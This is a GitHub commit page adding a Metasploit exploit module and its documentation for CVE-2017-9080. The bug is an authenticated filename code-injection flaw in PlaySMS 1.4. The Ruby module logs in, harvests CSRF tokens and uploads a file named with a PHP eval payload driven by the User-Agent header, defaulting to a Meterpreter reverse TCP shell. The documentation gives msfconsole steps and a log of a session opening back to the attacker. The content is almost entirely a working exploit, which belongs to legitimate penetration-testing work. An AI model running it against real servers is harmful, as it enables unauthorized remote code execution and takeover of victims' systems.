Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Land #9944, playsms_filename_exec.rb
- Loading branch information
Showing
2 changed files
with
241 additions
and
0 deletions.
There are no files selected for viewing
52 changes: 52 additions & 0 deletions
52
documentation/modules/exploit/multi/http/playsms_filename_exec.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,52 @@ | ||
## Description | ||
This module exploits a code injection vulnerability within an authenticated file upload feature in PlaySMS v1.4. This issue is caused by improper file name handling in sendfromfile.php file. Authenticated Users can upload a file and rename the file with a malicious payload. Additional information and vulnerabilities can be viewed on Exploit-DB [42044](https://www.exploit-db.com/exploits/42003/). | ||
|
||
## Vulnerable Application | ||
Available at [Exploit-DB](https://www.exploit-db.com/apps/577b6363d3e8baf4696744f911372ea6-playsms-1.4.tar.gz) | ||
|
||
### Vulnerable Application Installation Setup. | ||
1. Download Application : `wget https://www.exploit-db.com/apps/577b6363d3e8baf4696744f911372ea6-playsms-1.4.tar.gz` | ||
2. Extract : `tar -xvf 577b6363d3e8baf4696744f911372ea6-playsms-1.4.tar.gz` | ||
3. Move In WebDirectory : `mv playsms-1.4/web/* /var/www/html/` | ||
4. make config file: `cp /var/www/html/config-dist.php /var/www/html/config.php` | ||
5. Change Owner : `chown -R www-data:www-data /var/www/html/` | ||
6. Set DB creds in config.php File. And dump playsms-1.4/db/playsms.sql in your playsms database. | ||
7. Now Visit : http://localhost/ | ||
|
||
## Verification Steps | ||
|
||
1. Install the application | ||
2. Start msfconsole | ||
3. Do: `use exploit/multi/http/playsms_filename_exec` | ||
4. Do: `set rport <port>` | ||
5. Do: `set rhost <ip>` | ||
6. Do: `set targeturi SecreTSMSgatwayLogin` | ||
7. Do: `set username touhid` | ||
8. Do: `set password diana` | ||
9. Do: `check` | ||
``` | ||
[*] 10.22.1.10:80 The target appears to be vulnerable. | ||
``` | ||
10. Do: `set lport <port>` | ||
11. Do: `set lhost <ip>` | ||
12. Do: `exploit` | ||
13. You should get a shell. | ||
|
||
|
||
## Scenarios | ||
### Playsms on Ubuntu Linux | ||
``` | ||
msf exploit(multi/http/playsms_filename_exec) > run | ||
[*] Started reverse TCP handler on 10.22.1.3:4444 | ||
[+] X-CSRF-Token for login : 13bce9776cfc270a3779e8b557330cc2 | ||
[*] Trying to Login ...... | ||
[+] Authentication successful : [ touhid:diana ] | ||
[+] X-CSRF-Token for upload : 2780d48dc11a482a58d8a95ad873c6cc | ||
[*] Trying to upload file with malicious Filename Field.... | ||
[*] Sending stage (37775 bytes) to 10.22.1.15 | ||
[*] Sleeping before handling stage... | ||
[*] Meterpreter session 1 opened (10.22.1.3:4444 -> 10.22.1.15:38814) at 2018-04-08 13:45:34 +0530 | ||
meterpreter > | ||
``` |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,189 @@ | ||
## | ||
# This module requires Metasploit: https://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
class MetasploitModule < Msf::Exploit::Remote | ||
Rank = ExcellentRanking | ||
|
||
include Msf::Exploit::Remote::HttpClient | ||
|
||
def initialize(info = {}) | ||
super(update_info(info, | ||
'Name' => 'PlaySMS sendfromfile.php Authenticated "Filename" Field Code Execution', | ||
'Description' => %q{ | ||
This module exploits a code injection vulnerability within an authenticated file | ||
upload feature in PlaySMS v1.4. This issue is caused by improper file name handling | ||
in sendfromfile.php file. | ||
Authenticated Users can upload a file and rename the file with a malicious payload. | ||
This module was tested against PlaySMS 1.4 on VulnHub's Dina 1.0 machine and Windows 7. | ||
}, | ||
'Author' => | ||
[ | ||
'Touhid M.Shaikh <touhidshaikh22[at]gmail.com>', # Discoverys and Metasploit Module | ||
'DarkS3curity' # Metasploit Module | ||
], | ||
'License' => MSF_LICENSE, | ||
'References' => | ||
[ | ||
['EDB','42003'], | ||
['CVE','2017-9080'], | ||
['URL','https://www.youtube.com/watch?v=MuYoImvfpew'], | ||
['URL','http://touhidshaikh.com/blog/?p=336'] | ||
], | ||
'DefaultOptions' => | ||
{ | ||
'SSL' => false, | ||
'PAYLOAD' => 'php/meterpreter/reverse_tcp', | ||
'ENCODER' => 'php/base64', | ||
}, | ||
'Privileged' => false, | ||
'Platform' => ['php'], | ||
'Arch' => ARCH_PHP, | ||
'Targets' => | ||
[ | ||
[ 'PlaySMS 1.4', { } ], | ||
], | ||
'DefaultTarget' => 0, | ||
'DisclosureDate' => 'May 21 2017')) | ||
|
||
register_options( | ||
[ | ||
OptString.new('TARGETURI', [ true, "Base playsms directory path", '/']), | ||
OptString.new('USERNAME', [ true, "Username to authenticate with", 'admin']), | ||
OptString.new('PASSWORD', [ true, "Password to authenticate with", 'admin']) | ||
]) | ||
end | ||
|
||
def uri | ||
return target_uri.path | ||
end | ||
|
||
def check | ||
begin | ||
res = send_request_cgi({ | ||
'method' => 'GET', | ||
'uri' => normalize_uri(uri, 'index.php') | ||
}) | ||
rescue | ||
vprint_error('Unable to access the index.php file') | ||
return CheckCode::Unknown | ||
end | ||
|
||
if res.code == 302 && res.headers['Location'].include?('index.php?app=main&inc=core_auth&route=login') | ||
return Exploit::CheckCode::Appears | ||
end | ||
|
||
CheckCode::Safe | ||
end | ||
|
||
def login | ||
res = send_request_cgi({ | ||
'uri' => normalize_uri(uri, 'index.php'), | ||
'method' => 'GET', | ||
'vars_get' => { | ||
'app' => 'main', | ||
'inc' => 'core_auth', | ||
'route' => 'login', | ||
} | ||
}) | ||
|
||
# Grabbing CSRF token from body | ||
/name="X-CSRF-Token" value="(?<csrf>[a-z0-9"]+)">/ =~ res.body | ||
fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil? | ||
vprint_good("X-CSRF-Token for login : #{csrf}") | ||
|
||
cookies = res.get_cookies | ||
vprint_status('Trying to Login ......') | ||
# Send Creds with cookies. | ||
res = send_request_cgi({ | ||
'method' => 'POST', | ||
'uri' => normalize_uri(uri, 'index.php'), | ||
'cookie' => cookies, | ||
'vars_get' => Hash[{ | ||
'app' => 'main', | ||
'inc' => 'core_auth', | ||
'route' => 'login', | ||
'op' => 'login', | ||
}.to_a.shuffle], | ||
'vars_post' => Hash[{ | ||
'X-CSRF-Token' => csrf, | ||
'username' => datastore['USERNAME'], | ||
'password' => datastore['PASSWORD'] | ||
}.to_a.shuffle], | ||
}) | ||
|
||
fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to Login request") if res.nil? | ||
|
||
# Try to access index page with authenticated cookie. | ||
res = send_request_cgi({ | ||
'method' => 'GET', | ||
'uri' => normalize_uri(uri, 'index.php'), | ||
'cookie' => cookies, | ||
}) | ||
|
||
fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to Login request") if res.nil? | ||
|
||
# if we redirect to core_welcome dan we assume we have authenticated cookie. | ||
if res.code == 302 && res.headers['Location'].include?('index.php?app=main&inc=core_welcome') | ||
print_good("Authentication successful : [ #{datastore['USERNAME']} : #{datastore['PASSWORD']} ]") | ||
store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD']) | ||
return cookies | ||
else | ||
fail_with(Failure::UnexpectedReply, "#{peer} - Authentication Failed :[ #{datastore['USERNAME']}:#{datastore['PASSWORD']} ]") | ||
end | ||
end | ||
|
||
def exploit | ||
cookies = login | ||
|
||
# Agian CSRF token. | ||
res = send_request_cgi({ | ||
'uri' => normalize_uri(uri, 'index.php'), | ||
'method' => 'GET', | ||
'cookie' => cookies, | ||
'vars_get' => Hash[{ | ||
'app' => 'main', | ||
'inc' => 'feature_sendfromfile', | ||
'op' => 'list', | ||
}.to_a.shuffle] | ||
}) | ||
|
||
fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to Login request") if res.nil? | ||
|
||
# Grabbing CSRF token from body. | ||
/name="X-CSRF-Token" value="(?<csrf>[a-z0-9"]+)">/ =~ res.body | ||
fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil? | ||
vprint_good("X-CSRF-Token for upload : #{csrf}") | ||
|
||
# Payload. | ||
evilname = "<?php $t=$_SERVER['HTTP_USER_AGENT']; eval($t); ?>" | ||
|
||
# setup POST request. | ||
post_data = Rex::MIME::Message.new | ||
post_data.add_part(csrf, content_type = nil, transfer_encoding = nil, content_disposition = 'form-data; name="X-CSRF-Token"') # CSRF token | ||
post_data.add_part("#{rand_text_alpha(8 + rand(5))}", content_type = 'application/octet-stream', transfer_encoding = nil, content_disposition = "form-data; name=\"fncsv\"; filename=\"#{evilname}\"") # payload | ||
post_data.add_part("1", content_type = nil, transfer_encoding = nil, content_disposition = 'form-data; name="fncsv_dup"') # extra | ||
data = post_data.to_s | ||
|
||
vprint_status('Trying to upload file with malicious Filename Field....') | ||
# Lets Send Upload request. | ||
res = send_request_cgi({ | ||
'uri' => normalize_uri(uri, 'index.php'), | ||
'method' => 'POST', | ||
'agent' => payload.encode, | ||
'cookie' => cookies, | ||
'vars_get' => Hash[{ | ||
'app' => 'main', | ||
'inc' => 'feature_sendfromfile', | ||
'op' => 'upload_confirm', | ||
}.to_a.shuffle], | ||
'headers' => { | ||
'Upgrade-Insecure-Requests' => '1', | ||
}, | ||
'Connection' => 'close', | ||
'data' => data, | ||
'ctype' => "multipart/form-data; boundary=#{post_data.bound}", | ||
}) | ||
end | ||
end |